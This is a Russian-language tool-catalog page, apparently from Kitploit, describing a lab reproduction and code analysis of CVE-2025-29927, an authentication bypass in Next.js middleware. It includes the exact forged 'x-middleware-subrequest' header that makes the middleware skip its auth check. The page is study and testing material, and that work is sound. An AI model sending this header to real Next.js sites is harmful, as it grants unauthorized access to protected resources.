Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-29927 — Обход аутентификации в middleware Next.js | Kitploit
Инструменты/GitHubGitHub/oyst3r1ng/cve-2025-29927
Аутентификация и авторизацияАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHuboyst3r1ng/cve-2025-29927

CVE-2025-29927

Обход аутентификации в middleware Next.js

Репозиторий
221 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Введение

Обход механизма аутентификации промежуточного слоя Next.js путем подделки заголовка x-middleware-subrequest, позволяющий неавторизованный доступ к защищенным маршрутам.

Настройка окружения

Исходный код проекта взят от P神, версия Next.js 15.2.2 (For Next.js 15.x, this issue is fixed in 15.2.3).

Уязвимое окружение

Убедитесь, что Node и npm установлены. Проверьте версии следующими командами:

root@kitploit:~
node -v
npm -v

Установка зависимостей и запуск проекта

root@kitploit:~
# 1. 进入项目目录
cd vulenv

# 2. 全局安装 Yarn(如果尚未安装)
npm install -g yarn

# 3. 安装项目依赖
yarn install

# 4. 启动开发服务器
npm run dev

Или все сразу:

root@kitploit:~
cd vulenv && npm install -g yarn && yarn install && npm run dev

Успешный вывод выглядит следующим образом:

alt text

alt text

Среда отладки

Настройка отладки VSCode следующим образом:

root@kitploit:~
{
    "version": "0.2.0",
    "configurations": [
      {
        "name": "Next.js: debug server-side",
        "type": "node-terminal",
        "request": "launch",
        "command": "npm run dev"
      },
      {
        "name": "Next.js: debug client-side",
        "type": "chrome",
        "request": "launch",
        "url": "http://localhost:3000"
      },
      {
        "name": "Next.js: debug full stack",
        "type": "node-terminal",
        "request": "launch",
        "command": "npm run dev",
        "serverReadyAction": {
          "pattern": "- Local:.+(https?://.+)",
          "uriFormat": "%s",
          "action": "debugWithChrome"
        }
      }
    ]
  }

Анализ

  1. Точка триггера уязвимости находится ниже:
root@kitploit:~
const run = withTaggedErrors(async function runWithTaggedErrors(params) {
    var _params_request_body;
    const runtime = await getRuntimeContext(params);
    const subreq = params.request.headers[`x-middleware-subrequest`];
    const subrequests = typeof subreq === 'string' ? subreq.split(':') : [];
    const MAX_RECURSION_DEPTH = 5;
    const depth = subrequests.reduce((acc, curr)=>curr === params.name ? acc + 1 : acc, 0);
    if (depth >= MAX_RECURSION_DEPTH) {
        return {
            waitUntil: Promise.resolve(),
            response: new runtime.context.Response(null, {
                headers: {
                    'x-middleware-next': '1'
                }
            })
        };
    }
    ......

Функция промежуточного слоя, предназначенная для определения глубины рекурсивных вызовов, чтобы избежать бесконечной рекурсии. Она полагается на заголовок x-middleware-subrequest, который разбивается по двоеточию на несколько имен подзапросов, и подсчитывает количество совпадений с именем текущего промежуточного слоя params.name (т.е. глубину рекурсии). Когда глубина рекурсии достигает или превышает заданный порог (по умолчанию MAX_RECURSION_DEPTH = 5), промежуточный слой пропускает основную логику, такую как проверка подлинности, и продолжает обработку запроса.

Подсказка: избежать бесконечной рекурсии, примерно так:

root@kitploit:~
Пользователь обращается к /dashboard
↓
middleware перехватывает, запрос к /api/auth
↓
/api/auth снова инициирует middleware
↓
middleware снова запрашивает /api/auth
↓
...
Бесконечный цикл! 🌀
  1. Идея эксплуатации следующая:

Имя промежуточного слоя — middleware, можно сформировать следующий заголовок:

root@kitploit:~
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

Вышеуказанная конструкция даст depth = 5, что напрямую инициирует:

root@kitploit:~
if (depth >= MAX_RECURSION_DEPTH)

Если приложение размещает логику проверки подлинности в промежуточном слое, это приводит к выходу промежуточного слоя из логики аутентификации и возврату

root@kitploit:~
x-middleware-next: 1

заставляя запрос продолжить движение к бэкенду, позволяя получить защищенный ресурс без аутентификации.

  1. Эксплуатация:

Установите точку останова в указанном на рисунке месте (полный путь: CVE-2025-29927/vulenv/node_modules/next/dist/server/web/sandbox/sandbox.js) и запустите отладку.

alt text

Отправьте Payload

alt text

Точка останова на следующем рисунке: видно, что depth равно 5

alt text

Продолжите выполнение, чтобы получить доступ к защищенному ресурсу.

alt text

Poc

Написан на основе Pocsuite3, подробности в файле Poc_CVE-2025-29927.py.

alt text

Ссылки

Next.js and the corrupt middleware: the authorizing artifact

Next.js Middleware Authorization Bypass (CVE-2025-29927)

Скачать инструмент